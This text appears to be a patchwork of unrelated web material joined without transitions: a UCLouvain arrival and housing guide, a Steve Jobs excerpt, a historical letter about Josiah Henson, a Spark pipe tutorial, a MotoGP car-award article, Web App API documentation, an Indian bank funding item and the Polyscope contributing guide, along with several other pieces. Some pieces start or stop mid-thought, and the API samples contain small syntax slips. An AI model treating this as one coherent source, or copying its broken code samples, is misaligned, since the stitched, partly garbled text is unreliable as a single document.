Information related to arrival and life in Louvain-la-Neuve.
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How to start your academic stay at UCLouvain
Non-European students
Contact the UCLouvain Housing Service at Rue de la Gare, 6 in Louvain-la-Neuve (or the private real estate agencies/owners) in order to secure your accommodation (signed your contract, get your key).
Opening hours:
Check the UCLouvain Housing Service opening hours
Register at the City Hall (Commune) of Ottignies/Louvain-la-Neuve, Voie des Hennuyers, 1 in Louvain-la-Neuve (near the train station).
You must present yourself within 8 days of your arrival and make sure you have :
Your signed housing contract;
Your UCLouvain "Autorisation d'inscription" (only for student doing an exchange during the Fall semester and during all academic year);
Your UCLouvain "Notice of registration and invoice" that you will find on "MyUCL" (only for student doing an exchange during the Spring semester);
Your UCLouvain Proof of Registration that you will find on "MyUCL";
Your Student visa (APS long term Visa) and Passport;
2 identical ID pictures (hard-copy passport-size photos with facial recognition, white background, and no smile/no teeth);
Proof of a fellowship or financial statement (Annex 32);
5 € for file administrative costs.
Opening hours for registration are:
Monday from 12:30 pm to 7:00 pm & Tuesday to Friday from 8:30 am to 12:30 pm
European students
Contact the UCLouvain Housing Service at Rue de la Gare, 6 in Louvain-la-Neuve (or the private real estate agencies/owners) in order to secure your accommodation (signed your contract, get your key).
Check the UCLouvain Housing Service opening hours
Register at the City Hall (Commune) of Ottignies/Louvain-la-Neuve, Voie des Hennuyers, 1 in Louvain-la-Neuve (near the train station).
It is recommended that you present yourself at the City Hall but make sure you arrive with a complete file:
Your signed housing contract;
Your UCLouvain "Notice of registration and invoice" that you will find on "MyUCL";
Your UCLouvain Proof of Registration that you will find on "MyUCL";
Your passport or ID card;
2 identical ID pictures (hard-copy passport-size photos with facial recognition, white background, and no smile/no teeth);
Proof of health insurance valid for Belgium (private insurance, European or Belgian "mutuelle");
5 € for file administrative costs.
Opening hours for registration are:
Monday from 12:30 pm to 7:00 pm & Tuesday to Friday from 8:30 am to 12:30 pm
HOW WILL I BE MET UPON ARRIVAL AT UCLOUVAIN?
The first people to receive you and help manage your stay at UCLouvain will be the persons in charge of exchanges in your host faculty. Each faculty organises welcome sessions specifically for exchange students. Other actors will also help you integrate, such as the International Student Council (Coordination générale des étudiants internationaux, CGEI) and the International Erasmus Student Network (IESN).
WHERE CAN I EXERCISE OR PLAY A SPORT?
The university has excellent sport and fitness facilities, especially in Louvain-la-Neuve, home to French-speaking Belgium’s largest sport and fitness centre (including 25 sport and fitness halls, two swimming pools and three hectares of outdoor grounds). In addition, through a membership (‘affiliation sport’, €30 for exchange students) you gain access to almost 90 sport and fitness activities each week and you will be insured against any accidents that occur while participating in them. UCLouvain sport and fitness information.
Where can I find Medical Centers in Louvain-la-Neuve ?
There are several health facilities and doctors on campus. Here are a few examples :
La maison médicale du Biéreau
Le centre médical
La Polyclinique de Louvain-la-Neuve
How can I get in contact with the Students Associations in Louvain-la-Neuve ?
Check the different associations in Louvain-la-Neuve helping students
Where can I go if I need some help or have specific needs ?
UCLouvain Support Services
The Support Service located at the « Point de Repère » (point of reference) is open to the students in need of some help for :
counseling
social support
financial assistance
psychological follow-up
health advice
support for people with disability
The PEPS is a UCLouvain service helping the following type of students :
Entrepreuners
Artists
Top level athletes
Students with specific handicap needs
These ones will have to get in contact with PEPS team at the beginning of their semester. The PEPS team will provide them with a specific form to fill-in (can be filled in in English).
More information can be found on the Support Service webpage . Students can also get directly in contact with them.
Who can help me upon my arrival ?
The student club "Erasmus Student Network" - ESN LLN, can help you when you arrive in Belgium if you ask for it. They will not make the search for a place to live for you but they will advise you on how to find a place. They are on Facebook and have a website (www.esnlln.org); but you can also send them an email at<EMAIL_ADDRESS>ESN LLN can rent you a bedding kit.
Student support
The university cares about its students. This includes physical health and psychological well-being in every context: the classroom, the laboratory, accommodation, social life.
Whenever students encounter difficulties that hinder their studies or personal life, they should contact the university’s Student Support Service. Dedicated teams of some 50 professionals – social workers, doctors, psychologists and nurses – are ready to help. Whatever difficulty they may be experiencing, they can ask any question or confide any problem. For example:
Finding it difficult to adapt to student life?
Having trouble financing studies?
Dealing with a disability that requires specific support?
Questioning choice of studies or educational direction?
Experiencing family, relationship, flatmate or personal difficulties?
Suffering from a health, stress, diet, sleep, alcohol, drug, mood, sexual or any other issue?
Students should not hesitate to contact the Student Support Service.
Persons with disabilities
UCL is committed to supporting persons with disabilities to pursue their higher education dreams.
Any UCL student with a disability, severe illness or learning disorder can apply for the status of a ‘Student with a specific profile’, or, using the French acronym, ‘PEPS’ status. PEPS status assists students with disabilities to pursue an academic programme of study with all the necessary support, including what’s most important: an inclusive environment. Academic demands and degree value are identical to those of any other UCL student, but learning and daily living arrangements, such as accommodation, are adapted not only to meet the student’s specific needs but to help the student thrive. (PEPS status also applies to high-level athletes, artists and entrepreneurs.)
The 'Aide Handi Unit’, part of UCL’s Student Support Office, supports students with a disability. Students can make an appointment with a social worker, who will help answer all their questions about everyday life. A psychologist also coordinates educational support.
Aide Handi professionals inform disabled persons about specific services, organise welcome events and educational assistance, and provide information on study choices, ensuring that tailor-made teaching aids are supplied and helping the student gradually acquire a working method that meets academic requirements. They can also provide information about financing studies and discuss health-related challenges.
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WHAT IF I HAVE A CRISIS?
The university provides a Student Support Service (‘Service d’aide’) that can help if you find yourself facing a crisis, such as trouble adapting to university life, personal or relationship problems, financial difficulties, health problems, or challenges related to a disability. Some 50 professionals (social workers, psychologists, doctors) are here to help. Information on social and financial support. Information on health and psychological support (fr).
Your student room has most probably no beddings, no dishes, etc. No worries, ESN LLN has its own second-hand shop where you can buy useful items (at their office). You also have the possibility to rent a bedding kit. For more information or questions, do not hesitate to contact them by Facebook or at<EMAIL_ADDRESS>They offer a pick-up service at the train station of Louvain-la-Neuve and a buddy system. If you would like to be welcomed at the station when you arrive and/or you would like to have a local student as buddy who would help you during your stay, you can fill in the following form as soon as possible and at least 7 days before your arrival: Buddy form
Where can I stay if I have no room at my arrival in Belgium ?
When arriving in Belgium, you have the possibility to stay in the Kot Erasmus for few days (approx. 3 days) in order to take the time to look intensively for an accommodation. If you want to get a place in the Kot Erasmus, you must go on their website to subscribe online: http://koterasmus.be/
They offer temporary dorms to give you the time, when arriving in Belgium to find a definitive accommodation.
Go to the UCLouvain Housing Service as soon as possible (and every day) upon your arrival. Some UCLouvain housing are released early in the semester. There are several reasons for this such as students cancelling their arrival or finding another place to live or missing exams.
Help upon arrival : ESN LLN can help you when you arrive in Belgium if you ask for it. If needed, they will accompany you until you find an accommodation. They will not make the search for a place to live for you but they will advise you on how to find a place. They are on Facebook and have a website (www.esnlln.org); but you can also send them an email at<EMAIL_ADDRESS>No Room Reserved Before Arriving in Belgium
When arriving in Belgium, you have the possibility to stay in the Kot Erasmus for few days (approx. 3 days) in order to take the time to look intensively for an accommodation. If you want to get a place in the Kot Erasmus, you must go on their website to subscribe online: http://koterasmus.be/
They offer temporary dorms to give you the time, when arriving in Belgium to find a definitive accommodation.
Go to the UCLouvain Housing Service as soon as possible (and every day) upon your arrival. Some UCLouvain housing are released early in the semester. There are several reasons for this such as students cancelling their arrival or finding another place to live or missing exams.
Help upon arrival : ESN LLN can help you when you arrive in Belgium if you ask for it. If needed, they will accompany you until you find an accommodation. They will not make the search for a place to live for you but they will advise you on how to find a place. They are on Facebook and have a website (www.esnlln.org); but you can also send them an email at<EMAIL_ADDRESS>If you wonder what is the cost of living in Belgium, please consult the UCLouvain page detailing a one year living costs at UCLouvain.
For more information, here is a video made by former exchange students explaining how housing goes at UCLouvain.
What if I receive a letter "no room available" before arriving in Belgium ?
You have the possibility to stay in a temporary dorm - the Kot Erasmus (28 rooms in a shared flat exclusively for Exchange Students) - for few days (approx. 3 days) in order to take the time to look intensively for an accommodation. Subscribe online: http://koterasmus.be/
Try also the other channels of housing (menu on the right). See also the question 6. "no more UCL accommodation available"
What if I have no room upon my arrival ?
You may still get a chance to have a UCL accommodation during the week before the Welcome Day :
go to the UCL Accommodation Office as soon as possible AND every day.
Some UCL accommodation are released early in the semester. There are several reasons for this : such as students cancelling their arrival or finding another place to live or missing exams.
Try other channels of housing included the private owners : click here for rooms / flats / appartments (Last updated October 20, 2017)


Apple’s arch-rival Microsoft.
But he progressively started to sense Pixar was going to be a lot more important to his career than he ever expected. According to many, the revelation came in January 1995, when he was invited to a Disney event in New York. In the middle of Central Park, the movie studio had set up a gigantic tent with a movie screen showing previews of the two upcoming Disney films, Pocahontas, to be released in the summer, and Toy Story, for Thanksgiving 1995.
That was the moment Steve realized the Disney deal would materialize into something much bigger than he had ever imagined, and that Pixar was the way out of his morass with NeXT.Pixar’s Ralph Guggenheim quoted in Alan Deutschman's The Second Coming of Steve Jobs


This example demonstrates how to use nested model. You can picture it as a table contained in a cell. This is very useful when your control is a combination of pe:dynaFormControl. Note, XHTML code with pe:dynaForm stays the same, only Java model gets changed. Main steps:
- Create parent model instance: DynaFormModel model = new DynaFormModel();
- Add row, label, control and set relationship as you would do in normal case,
- Create nested model instance: DynaFormModel nestedModel = new DynaFormModel();
- Add row to regular grid: DynaFormRow nestedRow = nestedModel.createRegularRow();
- Add label, control and set relationship as usual,
- Add nested model: nestedRow.addModel(data, type, colspan, rowspan);
${showcase:getFileContent('/sections/dynaform/example-nestedModel.xhtml')}
${showcase:getFileContent('/org/primefaces/extensions/showcase/controller/dynaform/NestedDynaFormController.java')}
${showcase:getFileContent('/org/primefaces/extensions/showcase/model/dynaform/BookProperty.java')}


---
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{% raw %}202 MRS. H. BEECHER STOWE's " UNCLE TOM."{% endraw %}
{% raw %}"Memorial Church Rectory, London, Ontario,{% endraw %}
{% raw %}May 16, 1876.—To the Secretaries of the Colonial{% endraw %}
{% raw %}and Continental Church Society.—Dear Sirs,—In{% endraw %}
{% raw %}the last report to the Society, our lamented friend{% endraw %}
{% raw %}Mr. Hughes speaks of a proposed visit to England{% endraw %}
{% raw %}of the Rev. Josiah Henson (Mrs. Stowe's ' Uncle{% endraw %}
{% raw %}Tom') for the purpose of raising funds to clear{% endraw %}
{% raw %}off a mortgage which Mr. Henson had to give on{% endraw %}
{% raw %}his farm in order to meet the costs of a lawsuit{% endraw %}
{% raw %}over the Dawn Institute. The object of this note is{% endraw %}
{% raw %}to introduce him to you, hoping that you may be{% endraw %}
{% raw %}able to further his cause in England. He was well{% endraw %}
{% raw %}known'to the friends of the coloured race twenty{% endraw %}
{% raw %}years ago, but the changes make it essential that he{% endraw %}
{% raw %}should have some who can recommend him in his{% endraw %}
{% raw %}present effort. You are already acquainted with the{% endraw %}
{% raw %}work of the Wilberforce Institute, which has been{% endraw %}
{% raw %}sustained at great personal expense by Mr. Henson.{% endraw %}
{% raw %}His experience as a slave, and as a preacher among{% endraw %}
{% raw %}the fugitives in Canada, makes his story extremely{% endraw %}
{% raw %}interesting. Mrs. Stowe, in her 'Key to Uncle{% endraw %}
{% raw %}Tom's Cabin,' gives a sketch of his life to confirm{% endraw %}
{% raw %}the character she has painted. On the authority of{% endraw %}
{% raw %}Mr. Hughes, who knew Mr. Henson for many years,{% endraw %}
{% raw %}and thought most highly of his work and character,{% endraw %}
{% raw %}I beg to introduce to you one who has been a great{% endraw %}
{% raw %}blessing to his coloured brethren in Canada. If you{% endraw %}
{% raw %}can give him any letters, or further his cause in any{% endraw %}
{% raw %}way, it will assist the movement with which the{% endraw %}
{% raw %}Colonial and Continental Church Society has been{% endraw %}
{% raw %}connected for many years.—Yours very sincerely,{% endraw %}
{% raw %}W. Harrison Tilley, Clerical Secretary to Corre-{% endraw %}


Pipe operator in Spark, allows developer to process RDD data using external applications. Sometimes in data analysis, we need to use an external library which may not be written using Java/Scala. Ex: Fortran math libraries. In that case, spark’s pipe operator allows us to send the RDD data to the external application.
In this post, first we are going to look at how we can use pipe operator. Once we understand the usage, then we will see how we can implement pipe operation in normal scala programs. This implementation is taken from spark implementation.
Pipe in Spark
The following steps shows how to use pipe operator. To start with, we will create an RDD from inmemory list.
Step 1 : Create a RDD
val data = List("hi","hello","how","are","you")
val dataRDD = sc.makeRDD(data) //sc is SparkContext
Step 2 : Create a shell script
Once we have RDD, then we will pipe it to a shell script. Let’s create a file called echo.sh, then put the following content.
#!/bin/sh
echo "Running shell script"
while read LINE; do
echo ${LINE}
done
This is a simple shell script which reads the input from stdin and output that to stdout. You can do any other shell operation in this shell script.
Step 3 : Pipe rdd data to shell script
One we have the shell script, we can pipe the RDD through this script. Make sure that you change the scriptPath variable to match path of your file.
val scriptPath = "/home/hadoop/echo.sh"
val pipeRDD = dataRDD.pipe(scriptPath)
pipeRDD.collect()
Now you should able to see, the line printed on console with echo messages from shell script. In place of shell script, you can use any other executable.
Pipe implementation
Now we understand what pipe does. Let’s look at how it is implemented. In this section, we develop a simple scala program which pipes data to the above shell script.
Every executable is represented as a process in the operating system. So we will create a process which runs the shell script command.
val proc = Runtime.getRuntime.exec(Array(command))
Every process has three streams associated with it. They are stdin - standard input, stdout - standard output and stderr - Standard error. It’s important to capture errors produced by the process. So we redirect the process stderr to java stderr. This runs in separate thread as these streams are asynchronous in nature.
new Thread("stderr reader for " + command) {
override def run() {
for(line <- Source.fromInputStream(proc.getErrorStream).getLines)
System.err.println(line)
}
}.start()
In the above code, we read from the proc.getErrorStream and pass it to the System.err
As next step, we create some data using List. Then we pass this data to proc.getOutputStream. Output to the stream is piped into the standard input stream of the process.
val lineList = List("hello","how","are","you")
new Thread("stdin writer for " + command) {
override def run() {
val out = new PrintWriter(proc.getOutputStream)
for(elem <- lineList)
out.println(elem)
out.close()
}
}.start()
It’s not enough to send the data, we also want to collect the output.
val outputLines = Source.fromInputStream(proc.getInputStream).getLines
println(outputLines.toList)
We collect the output by reading from proc.getInputStream. You can access complete code on github.
So now we understand how to use pipe and how is pipe is implemented.


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MotoGP Champion Awarded With SEVENTH Free BMW
2019 BMW X4 M is added to his awesome collection of BMW M cars.
by Martin BiggIt's a tradition in the MotoGP motorcycle racing series that the rider who posts the fastest qualifying time in each season is awarded with a free high-performance BMW M car. This year, that honor once again went to Marc Marquez for the seventh year in a row, who secured the MotoGP championship for the sixth consecutive year.
Last year, the Spanish MotoGP champion was given a free BMW M3 CS, but this year's prize was a 2019 BMW X4 M Competition finished in Toronto Red Metallic. Under the hood, the BMW X4 M features a 3.0-liter twin-turbo inline-six engine pumping out 510 horsepower and 442 lb-ft of torque, allowing the sporty SUV to sprint from 0-62 mph in 4.1 seconds.
The high-performance SUV was presented to Marquez in Valencia by Carmelo Ezpeleta, CEO of MotoGP commercial rights holder Dorna Sports, Markus Flasch, CEO of BMW M GmbH, and Manuel Terroba, CEO of BMW Group Spain and Portugal.
"I would like to thank BMW M GmbH for the great way in which they have recognises our performances at the track for many years, and how they reward the season's best qualifier," said Marquez. "I am a bit speechless to have received this award for the seventh year in a row. I am delighted to have been the fastest qualifier this year because it's not been easy and can hardly wait to get in the car."
"It has pretty much become a tradition to present Marc Marquez with the BMW M Award here in Valencia," said Markus Flasch, CEO of BMW M. "To win this coveted award seven times in a row, and in such a high-class field as the one in MotoGP, is an outstanding and unique achievement. Congratulations on this record run, which started back in 2013. We are delighted to be able to present him with this exclusive BMW X4 M Competition as his prize – a sporty, high-performance car and a real powerhouse, whose attributes are perfectly suited to an exceptional athlete like Marc. We hope he has a lot of fun driving it."
This is the 17th year the BMW M Award has been presented. In 2015, Marquez became the first rider to win the BMW M Award for three consecutive years before becoming the exclusive record holder in 2016 with his fourth straight victory. As part of BMW M's partnership with MotoGP, the BMW M8 also serves as the MotoGP safety car.


Gets a list of Web App items, as per the specified filters.
A query string (eg. ?order=ascending) with the following properties:
order
- allows sorting bit a single system field, either "ascending" or "descending" (string, optional) (see the Ordering Syntax section)where
- filter by a single system field (string, optional) (see the Filtering syntax section)skip
- how many items to skip from the returned result. (integer, optional)limit
- how many items to return (integer, optional)A WebAppItemList object with the following properties:
links
- contains a collection of links (array)
self
- the API URL that returned this resultprevious
- the API URL that will return the previous page of results, if anynext
- the API URL that will return the next page of results, if anyitems
- an array of WebAppItemSummary objects with the following properties (array)
links
- contains a collection of links (array)
self
- the API URL that will return the full details of this Web App item (string)id
- the ID of the Web App item (integer)name
- the name of the Web App item (string)releaseDate
- the release date of the Web App item, in the format mm/dd/yyyy (string)expiryDate
- the date the Web App will expire, in the format mm/dd/yyyy (string)createDate
- the date the Web App was created, in the format mm/dd/yyyy (string)lastUpdateDate
- the date the Web App item was last updated, in the format mm/dd/yyyy (string)enabled
- whether the Web App item is enabled or disabled (boolean)totalitems
- the number of Web App items that match the specified filter (integer)skip
- the number of Web App items skipped in this response (integer)limit
- the number of Web App items returned in this response (integer)Accepts and returns JSON as Content-Type.
Request:
GET /api/v2/admin/sites/current/webapps/TestWebapp1/items?skip=2&limit=2 HTTPS/1.1
Authorization: 3e8d891d91eb433e9c800cebe3b132a4e64ac661c5ed4dd8bdecae0487e4ad7c
Accept: application/json
Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: {length}
{
"links": [
{
"rel": "self",
"uri": "/admin/sites/current/webapps/TestWebapp1/items?skip=2&limit=2"
},
{
"rel": "previous",
"uri": "/admin/sites/current/webapps/TestWebapp1/items?skip=0&limit=2"
},
{
"rel": "next",
"uri": "/admin/sites/current/webapps/TestWebapp1/items?skip=4&limit=2"
}
],
"items": [
{
"links": [
{
"rel": "self",
"uri": "/admin/sites/current/webapps/TestWebapp1/items/1073041"
}
],
"id": 1073041,
"name": "item3",
"weight": null,
"releaseDate": "2013-06-30",
"expiryDate": "9999-01-01",
"createDate": "2013-06-30",
"lastUpdateDate": "2013-06-30",
"enabled": true
},
{
"links": [
{
"rel": "self",
"uri": "/admin/sites/current/webapps/TestWebapp1/items/1073042"
},
{
"rel": "previewUrl",
"uri": "http://www.test1.com/testwebapp1/item4"
}
],
"id": 1073042,
"name": "item4",
"weight": null,
"releaseDate": "2013-06-30",
"expiryDate": "9999-01-01",
"createDate": "2013-06-30",
"lastUpdateDate": "2013-06-30",
"enabled": true
},
],
"totalItemsCount": 7,
"skip": 2,
"limit": 2
}
Sorting ascending by name
var request = $.ajax({
url: "/api/v2/admin/sites/current/webapps/apicreated/items?order=name",
type: "GET",
connection: "keep-alive",
contentType: "application/json",
headers: {
"Authorization": $.cookie('access_token')
}
});
request.done(function (msg) {
console.log(JSON.stringify(msg));
})
request.fail(function (jqXHR) {
console.log("Request failed.");
console.log("Error code: " + jqXHR.status);
console.log("Error text: " + jqXHR.statusText);
console.log("Response text: " + jqXHR.responseText);
})
Sorting descending by name
var request = $.ajax({
url: "/api/v2/admin/sites/current/webapps/apicreated/items?order=-name",
type: "GET",
connection: "keep-alive",
contentType: "application/json",
headers: {
"Authorization": $.cookie('access_token')
}
});
request.done(function (msg) {
console.log(JSON.stringify(msg));
})
request.fail(function (jqXHR) {
console.log("Request failed.");
console.log("Error code: " + jqXHR.status);
console.log("Error text: " + jqXHR.statusText);
console.log("Response text: " + jqXHR.responseText);
})
Below is some sample code using the bcapi.js SDK. For more information, see Interacting with APIs using the bcapi.js SDK
Load items paginated
var items = new BCAPI.Models.WebApp.ItemCollection("Test webapp");
items.fetch({
skip: 10, limit: 100,
success: function(webAppItems) {
// handle success
},
error: function(webAppItems, xhr) {
// handle errors
}
});
items.each(function(webAppItem) {
// display logic
});
Filtering items
var items = new BCAPI.Models.WebApp.ItemCollection("Test webapp");
items.fetch({
where: {"name": ""Web app item new"},
success: function(webAppItems) {
// handle success
},
error: function(webAppItems, xhr) {
// handle errors
}
});
Ordering items
var items = new BCAPI.Models.WebApp.ItemCollection("Test webapp");
items.fetch({
order: "-name",
success: function(webAppItems) {
// handle success
},
error: function(webAppItems, xhr) {
// handle errors
}
});
Filtering is supported by constraining at most one item field. Only the specified system fields and the item's category set can be used for filtering.
The list of supported system fields is:
The filtering syntax involves specifying a list of constraints, logically chained using the AND operator which must apply to the one field specified. The constraints are built using the following operators:
| operator | name | example | applicable type |
|---|---|---|---|
| N/A | equals (==) | where={"name" : "item-name"} |
all |
| $ne | not equal (!=) | where={"id": {"$ne": 42}} |
all |
| $lt | less than (<) | where={"weight" : {"$lt": 3}} |
all |
| $lte | less than or equal (<=) | where={"name" : {"$lte": "omega"}} |
all |
| $gt | greater than (>) | where={"releaseDate" : {"$gt": "jun 10 2012"}} |
all |
| $gte | greater than or equal (>=) | where={"name" : {"$gte": "alpha"}} |
all |
| $contains | contains | where={"name": {"$contains": "delta"}} |
string-only |
| $beginsWith | begins with | where={"name": {"$beginsWith": "prefix"}} |
string-only |
Multiple constraints can be chained, and the chaining operator is AND. We do not support OR-queries
where={"name": {"$gt": "alpha", "$lt": "omega", "$contains":"foo"}}
Equality has no dedicated operator and it cannot be chained together with other constraints. The only way to specify that something must equal a value is like so:
where={"name": "epsilon"}
To check that an item is labeled with a certain category the following syntax must be used:
where={"category": "/my/category/path"}
The category is specified as a category-path string or by providing the category's numeric id. The path should start with a /
. If it does not, the /
will be added automatically to the category string. The following is equivalent to the previous example:
where={"category": "my/category/path"}
category
label are case-insensitivenull-values will returns false for every comparison except equality and $ne
operator. These two operators can be used to filter out the items that have missing values for certain fields
where={"weight": null}
where={"weight": {"$ne": null}}
Filtering by name
GET /api/v2/admin/sites/current/webapps/TestWebapp1/items?where={"name": {"$contains": "item"}}
Filtering by date
GET /api/v2/admin/sites/current/webapps/TestWebapp1/items?where={"createDate": {"$gte": "2001-01-01", "$lte": "2013-01-01"}}
Filtering by category id
GET /api/v2/admin/sites/current/webapps/TestWebapp1/items?where={"category": 123}
Filtering by category path
GET /api/v2/admin/sites/current/webapps/TestWebapp1/items?where={"category": "my-label"}
The order
query parameter specifies which field will be used to order the results of the query. Only the following system fields can be used to order the results:
To order the results in ascending order, just provide the system field name. If the results are to be sorted in descending order prefix the system field name with a -
(dash).
If no ordering is specified the items will be order by name
ascending.
When sorting the items using a specified field, in case of ties due to equal values for that field, items will be further sorted by name
.
This method will return the following error codes:
200
- success400
- bad request
190001
- the Web App could not be found (the webAppName parameter from the URL does not match any record)200000
- an unspecified error has occurred200007
- there is a problem with the query, eg. invalid format, invalid field name, invalid operator, etc.200009
- the category path specified in the query doesn't exist401
- unauthorized - when the Authorization header is not present, or contains an invalid site token
101000
- sub-error code403
- forbidden - this is returned when the user trying to access the API does not have the proper permissions


 My goal is to make vintage watch collecting more accessible and transparent for everyone involved.
I mostly focus on vintage Omega, and branch out into a few other luxury brands as well. I value originality and honesty, and as such guarantee that you get what’s promised. I expertly inspect every watch and authenticate them.
When I first started collecting, I noticed the watch scene can be a minefield: shady sellers or people without any knowledge whatsoever, fake watches, marriage/frankenwatches, and very high prices with professional sellers – usually without any guarantees that the watch is actually legitimate. So I did what any man with too much time on his hands would do; I started learning as much as I can about every single thing. I focused only on Omega,


--- layout: default title: Who I Am redirect_from: - /who-i-am/ ---
In the real world I inhabit Phoenix, Arizona, USA. Between five and ten weekday evenings I can typically be spotted near N33° 29.0744′, W112° 5.3194′.
I am a proponent of the Open Web Platform and other tools, programming languages, and solutions made available to the open source community. I am particularily interested in PHP, Ruby, Python, and JavaScript projects. My own personal projects can be found on this website. My résumé can be found at resume.chrisvogt.me.
This website is comprised of three major components: blog, projects directory, and stats dashboard. Each of these is available open source on my GitHub account.
Should you find an invalid statement on my site or in my code, consider taking the time to refute it and set me straight. Let’s work together to keep the World Wild Web clean and free of noise.


TPG Asia leads Rs 225-cr equity funding for Jana Small Finance Bank
The bank's net non-performing assets were at 1.72 per cent of net advances as on October 31, 2019 and gross non- performing assets stood at 3.98 per cent on AUM.
by Press Trust of IndiaBengaluru-based Jana Small Finance Bank on Monday said it has raised Rs 225 crore equity in the latest funding round from its existing investors - Jana Holdings, TPG Asia and HarbourVest Partners.
With this equity infusion, the capital adequacy ratio for the small finance bank has reached 19.97 per cent as on October 31, 2019, as against the regulatory requirement of 15 per cent, the release said.
The total capital infusion for Jana Bank stands at Rs 2,947 crore.
As of September 2019, the bank's total deposits stood at Rs 7,503 crore while advances were at Rs 8,550 crore.
The bank's net non-performing assets were at 1.72 per cent of net advances as on October 31, 2019 and gross non- performing assets stood at 3.98 per cent on AUM.
It has 270 banking outlets (including 25 business correspondence outlets), 298 asset centres and 120 ATMs.
Of the total banking outlets, 43 per cent are in semi-urban and rural areas.


Text Editor:
Draw Tools:
Measurements:
area:
length/perimeter:
Enter Coordinates
Click map for results:
lng/lat
Address Search:
Select a layer to search:
A place to put your disclaimer...


Contributing
Polyscope is an open-source project, and you are encouraged to contribute! The core library is lives in this repository, with documentation here and Python bindings here.
All contributions will be released under Polyscope’s MIT license.
How to make a great pull request:
Implement a feature or fix a bug
Write a new unit test and run tests
Submit a PR and ensure automated tests pass
Update the documentation
Create any new Python bindings
Of course, contributions that only do some of the above are still welcome and appreciated! But doing all of these steps means your pull request is most likely to be merged right away.
The sections below go in to more detail on each of these steps.
C++ implementation
C++ vs. Python contributions
Polyscope is implemented as a C++ library, with a thin binding layer to Python.
All functionality is implemented on the C++ side—pull requests which implement new features solely on the Python side or using external Python dependencies generally will not be accepted. Please file an issue asking first if you are unsure! Of course, bugfixes and additions to the Python binding layer itself are an exception.
Conversely, any new C++ features are strongly encouraged to add corresponding Python bindings! See below.
A few general pointers:
-
The UI (menus, dialogs, buttons, etc) is managed using Dear ImGUI, which is very well-documented and has many resources available online.
-
Core rendering logic and shaders are implemented in the
/render
subdirectory, particularlyengine.h
. The engine is written to abstract over rendering backends, but at the moment only openGL is supported. There is also a “mock” backend for testing; new rendering features should be mirrored in bothgl_engine.cpp
andmock_gl_engine.cpp
. -
Polyscope shaders use a custom in-house shader builder, which performs string manipulation with a simple substitution language to build shaders at runtime which support optional features like slice planes, transparency, different quantity visualization policies, etc. The shaders themselves also explicitly track some metadata like what attributes and uniforms they require. Examples of base shaders can be found e.g. here, and substitution rules here. For any shader or rule to be available in Polyscope, it must be registered in
GLEngine::populateDefaultShadersAndRules()
, and also in the corresponding function of the mock engine for testing. -
If adding a new structure or quantity, be sure to make use of the data adaptors for all user inputs. See here for an example. Generally, this means functions which take user data should be templated, and the input then passed through
standardizeArray<>()
orstandardizeVectorArray<>()
, etc. -
If adding new options or parameters to a structure/quantity. Be sure to follow proper encapsulation principles (create getters & setters), and use a persistent values. Check out
PointCloud::pointColor
for a good basic example. Also, all length-valued quantities should use scaled values (as inPointCloud::pointRadius
).
Unit testing
Whenever possible, add a unit test that somehow exercises any new functionality or verifies that the bug has been fixed. Polyscope uses the googletest testing framework. See documentation there for test macros, executable options, etc.
In a perfect world, we would actually test that the rendered output from Polyscope is pixel-perfect. However, this is hard for a lot of reasons, so instead most of our tests are just “smoke tests” that call functions with some dummy data and ensure no errors are thrown.
In fact, these tests are often run on headless servers, where we cannot even initialize an openGL environment. For this reason, in addition to the usual openGL
backend, we also have an openGL_mock
backend (implemented here) for testing on headless servers. This backend cannot actually render anything, but still performs many rendering-related sanity checks. If making changes to the rendering engine & shaders, you may find that changes need to be mirrored in mock_gl_engine.cpp
.
To run unit tests locally on your own machine (here, via unix terminal commands), use
cd test
mkdir build && cd build
cmake -DCMAKE_BUILD_TYPE=Debug ..
make -j4
./bin/polyscope-test backend=openGL3_glfw
which should create a window onscreen and run tests for a few seconds.
Additionally, run the tests again like
./bin/polyscope-test
which will use the openGL_mock
backend (you will not see anything onscreen). This is how testing will be performed on the headless CI servers. If both sets of tests pass without errors, you are good to go.
PRs & automated tests
Once your feature seems ready and unit tests are passing, submit a pull request to the main repository. This will trigger continuous integration (CI) tests via Github Actions to automatically compile the code on a collection of windows/mac/linux machines with various compilers, and verify that tests pass. If there are any issues, a failed “check” will show on the pull request page which you can click to learn more.
If this is your first contribution to Polyscope, a maintainer will need to manually approve the CI run (this is a github restriction).
You are welcome to reach out in the PR chat to sort out any problems. We may request changes! If a PR ever goes more than a few days without a response feel free to ping @nmwsharp.
Documentation
Documentation is hosted in its own separate repository. Polyscope docs use the mkdocs documentation engine, with the mkdocs-material theme (this theme is quite large and adds significant functionality beyond base mkdocs). The documentation is written in a large collection of markdown files; it is not automatically scraped from the code, or code comments, etc, so we must manually keep it up to date.
There are two duplicate copies of all the docs for C++ and Python, stored in parallel directories /cpp
and /py
. A few shared files and assets are stored in the /shared
directory, or symlinked from the /py
subdirectory to point to a file the /cpp
directory. We try to keep these two parallel versions in sync as much as possible, only differing where necessary between C++ and Python.
To preview the documentation while editing, first install the necessary packages with pip install mkdocs mkdocs-material==6.2.8 mkdocs-macros-plugin pygments
. Then run python3 -m mkdocs serve
(run this command from the /cpp
directory to view C++ docs, and likewise for /py
). A local address will be printed to your terminal, which you can navigate to in-browser to see the docs.
Hopefully editing the docs markdown files should be self-evident, you can mainly copy existing content & formatting. Any new files need to be added the manifests in mkdocs.yml
. Don’t forget to add a blurb to the release notes!
If you are not able to build the docs for any reason, it is fine to just edit the markdown files and submit a docs PR with that.
To actually update the hosted documentation files online at polyscope.run, the documentation site needs to be recompiled and committed to the to the /docs
subdirectory. The build_commit_push.sh
script can handle this for you, rebuilding both C++ & Python docs and committing the result to the /docs
subdirectory:
sh build_commit_push.sh
If you include these built docs changes in your PR, the webpage will automatically update when it is merged. Otherwise the maintainers (usually @nmwsharp) will need to run this command and commit the update after accepting your PR.
Python bindings
Python bindings for Polyscope are stored in their own separate repository. We use pybind11 to generate bindings. These bindings are kept as thin wrappers as much as possible, just doing a minimal translation between the C++ interface and typical Python calling conventions.
The bindings are actually managed internally as two separate Python packages: polyscope_bindings
(which contains the raw bindings generated by our pybind11 code), and the higher-level polyscope
(which contains the actual, nice user-facing Python functions). The separation is because there is no way to write additional Python code in the pybind11-generated package, but we often want to do some translation and error checking on the Python side before invoking the bindings. As such, adding a binding generally means writing code in two places:
- Add a new pybind11 C++ binding, like those here
- Add a new Python wrapper function which calls the generated binding, like the ones here
